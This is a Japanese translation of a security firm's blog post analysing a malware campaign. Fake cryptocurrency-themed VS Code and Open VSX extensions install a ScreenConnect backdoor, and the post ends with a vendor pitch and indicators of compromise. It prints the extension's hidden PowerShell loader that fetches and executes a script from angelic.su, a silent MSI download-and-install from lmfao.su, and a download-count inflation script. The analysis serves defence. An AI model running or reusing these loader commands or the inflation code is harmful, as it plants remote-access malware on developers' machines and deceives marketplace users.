1つの脅威アクター。2つの主要マーケットプレイス。ほぼ300万回のインストール。その数は偽造されていたかもしれないが、彼らが仕掛けたバックドアは非常に現実的だった。
本日、VS Codeで270万ダウンロードに達したマルウェアキャンペーンをもう1つ明かします。これは独自に複数のマーケットプレイスに拡張され、Open VSXでも20万以上のダウンロードを達成しています。多くのインストールは人為的に膨らまされていたものの、かなりの部分が実際であり、何千もの開発者が知らずに露出しています。同じインフラストラクチャを使用して、攻撃者はVitalik ButerinやCharles Hoskinsonsのような主要なEthereumフィギュアになりすまし、両方のプラットフォーム上でセキュリティ対策をバイパスすることに成功しました。
これはあるマーケットプレイスが別のマーケットプレイスより安全でないことについてのストーリーではありません。これはエクステンションセキュリティがエコシステム全体で失敗しているかについてのストーリーです。
さあ始めましょう。
攻撃者は暗号通貨をテーマにした名前を使用して、ブロックチェーン開発者を引き付けるように設計された両方のマーケットプレイス(VS Code MarketplaceおよびOpenVSX)に悪意のある拡張機能を展開しました:
VS Code マーケットプレイス:
CharlesHoskinson.lfamnw1(Cardanoの創設者になりすまして)
EthersFoundation.bogitiy
vitalybuterin.hardhatjs(Ethereumの創設者になりすまして)
Open VSX レジストリ:
solidityai.solidity(Solidityプログラミング言語)
soliditysupport.solid(Solidityプログラミング言語)
総合影響:両プラットフォームで290万以上のダウンロード。ほとんどが脅威アクターグループによって偽造または膨らまされていると安全に仮定できます。
技術分析:完全なトロイの木馬
このキャンペーンのすべてのエクステンションは同じパターンに従っています:悪意のあるPowerShell実行のカバーとして機能する最小限の正規機能。VS Code拡張機能は特に厚かましく、本質的にはユーザーに意味のあることは何もしないながら、リモートアクセスツールをインストールしています。
攻撃チェーンは拡張機能がロードされると直ちに開始されます:
asyncfunctionactivate(_0x1a0964) {
if (process.platform !== "win32") {
return;
}
setTimeout(() => {
const _0x47365a = {
windowsHide: true };
exec("powershell -WindowStyle Hidden -Command \"irm https://angelic.su/files/1.txt | iex\"", _0x47365a, _0xeef6d3 => {});
}, 2000);
}
マルチステージペイロード配信
マルウェアは洗練された3段階のアプローチに従っています:
ステージ1:https://angelic[.]su/files/1.txtからのPowerShellスクリプトダウンロード
ステージ2:https://angelic[.]su/files/2.txtからの二次PowerShellペイロード
ステージ3:MSIインストーラーのダウンロードと実行
ペイロード配信がどのように機能したかを迅速にカバーしてみましょう。
最初のステップ:環境評価
最初のPowerShellスクリプトは偵察を実行します:
...
# ScreenConnectのインストールをチェックしようとします
$svc = Get-Service -Name 'ScreenConnect Client Service' -ErrorAction SilentlyContinue
$paths = 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*','HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*'$reg = Get-ItemProperty $paths -ErrorAction SilentlyContinue |
Where-Object { $_.DisplayName -match 'ScreenConnect|ConnectWise Control' }
...
正規のリモート監視・管理(RMM)ツールであるScreenConnectが既に存在する場合、スクリプトは2番目のペイロードにチェーンします。この環境チェックはマルウェアが検出を避け、既存のScreenConnect展開との競合を避けるのに役立ちます。
2番目のステップ:ペイロードオーケストレーション&インストール
セカンダリスクリプト(2.txt)はメインマルウェア展開を処理します:
– 悪意のあるMSIインストーラーをダウンロード
– サイレントインストールを実行
– 永続化メカニズムを確立
– コマンドアンドコントロール通信を開始
...
# ScreenConnectをダウンロードしてインストールを開始します
Invoke-WebRequest -Uri "https://lmfao.su/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest" -OutFile $tempPath
Start-Process -FilePath "msiexec.exe" -ArgumentList "/i `"$tempPath`" /qn" -Verb RunAs -Wait
...
コマンドアンドコントロールインフラストラクチャ
キャンペーンは最近登録されたドメインを使用しています:angelic[.]su(ペイロードホスティング)
lmfao[.]su(MSI配布)
両方のドメインは同じレジストラーから過去1ヶ月以内に登録され、調整されたインフラストラクチャ準備を示しています。.su(ソビエト連邦)TLDの使用は、緩い監視を求めるサイバー犯罪操作に典型的です。
暗号通貨開発者ターゲティング
拡張機能の命名パターンは、暗号通貨開発者をターゲットにした洗練されたソーシャルエンジニアリングを明らかにしています:
CharlesHoskinson:Cardanoブロックチェーンの創設者
EthersFoundation:EthereumFoundationへの参照
vitalybuterin:Ethereum共同創設者Vitalik Buterin
Solidity:スマートコントラクトプログラミング言語
暗号通貨開発者は高値ターゲットを表しています。理由:
– 彼らは多くの場合、貴重なデジタル資産にアクセスできます
– 彼らは重要な資金を扱うスマートコントラクトで作業しています
– 彼らは頻繁に開発ツールと拡張機能をインストールします
– 彼らは新しいツールが定期的に現れる急速に変化するエコシステムで動作します
決定的な証拠:忘れ去られた膨張スクリプト
CharlesHoskinson.lfamnw1拡張機能の分析中に、脅威アクターによる重大なオペレーションセキュリティの過失と思われるものを発見しました。拡張機能ファイルの中に埋もれていたのは、asd.pyという名前のPythonスクリプトでした。攻撃者が公開前に削除するのを忘れていたであろうインストール膨張ツールです。
スクリプトは拡張機能の人気を人為的に高める仕組みを明らかにしており、正規のVS Codeマーケットプレイスのインタラクションをシミュレートするためのハードコード化されたロジックが含まれています:
while total_retries < MAX_TOTAL_RETRIES:
try:
headers = {
"accept": "api-version=6.1-preview.1",
"vscode-sessionid": generate_random_uuid(),
"x-market-client-id": "VSCode 1.101.2",
"x-market-user-id": generate_random_uuid(),
"accept-language": "en-US,en;q=0.9",
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36",
"priority": "u=1, i",
"referer": "https://vscode.dev/",
"origin": "https://vscode.dev" }
# POSTリクエスト
post_response = session.post(
"https://marketplace.visualstudio.com/_apis/public/gallery/itemName/EthersFoundation.bogitiy/version/1.2.5/statType/1/vscodewebextension",
headers=headers,
timeout=PROXY_TIMEOUT
)
post_success = post_response.ok
time.sleep(random.uniform(*REQUEST_DELAY))
スクリプトのターゲットURLは特に明かしています。キャンペーン内の別の拡張機能EthersFoundation.bogitiyのインストール数を膨らませるために特別に設計されています。拡張機能間のこのクロスリファレンスは、操作の調整された性質と脅威アクターが悪意のある拡張機能の見かけ上の正当性を人為的に高める方法を示しています。
重要なことに、このスクリプトは実際には拡張機能の悪意のある機能に統合されていませんでした。パッケージに不注意に含まれていたスタンドアロンツールのようです。これは脅威アクターの方法について貴重な洞察を提供し、彼らの拡張機能ポートフォリオ全体で観察した高いインストール数の人為的な性質を確認する重大なオペレーションセキュリティの失敗を表しています。
この膨張スクリプトの存在は、マーケットプレイスメトリクスの体系的な操作の決定的な証拠として機能し、比較的新しい悪意のある拡張機能がどのようにして正規の拡張機能がはるかに長い時間をかけて蓄積するであろう見かけ上に印象的なダウンロード数を達成することができたかを説明しています。
マーケットプレイスセキュリティのパラドックス
このキャンペーンは、マーケットプレイスセキュリティに関する私たちの仮定の根本的な問題を露出させています:
Microsoftの「セキュア」マーケットプレイスが大規模で失敗している
長い間、最も高い特権で実行されることが多い信頼できないサードパーティコードの使用は、企業と攻撃者の両方のレーダーの下を飛び去っていました。その時代は終わります。流れが変わっています。
私たちはこの瞬間に対応するためにKoiを構築しました。実務者と企業の両方のために。私たちのプラットフォームは、VSCode、OpenVSX、Chrome Web Store、Firefox、Hugging Face、Homebrew、GitHubなどのマーケットプレイスからチームがプルするすべてのものを発見、評価、および管理するのに役立ちます。
Fortune 50組織、BFSI、および世界で最大の技術企業の一部に信頼されているKoiは、この広大な攻撃面全体で可視性を得て、ガバナンスを確立し、リスクを積極的に軽減するために必要なセキュリティプロセスを自動化します。
ソリューションについて興味がある場合、またはアクションを起こす準備ができている場合は、デモを予約するか、ここでご連絡ください 🤙
まもなく来る私たちの袖の中にもっと多くの驚きがあります。お楽しみに。
IOCs
PowerShellペイロード
- 9fd97eeebe80e8c4418ed07a2e13fc2b1e28a14482818bf2b90770bf78eefc0c(1.txt)
- 6f100006724d137e21a332ed5582657f9a694b7f569d92894eed28b7c4514e6c(2.txt)
MSIインストーラー
- 33a0069309c3f131c05ab86d2e4ceb10143fd9f02a8c30d5c58011b700ea97c1(setup.msi)
ネットワークインフラストラクチャ
- angelic[.]su(ペイロード配布)
- lmfao[.]su(MSIホスティング)
拡張機能識別子
- CharlesHoskinson.lfamnw1
- EthersFoundation.bogitiy
- vitalybuterin.hardhatjs
- solidityai.solidity
- soliditysupport.solid
翻訳元: https://www.koi.ai/blog/when-both-marketplaces-fall-the-cross-platform-extension-malware-campaign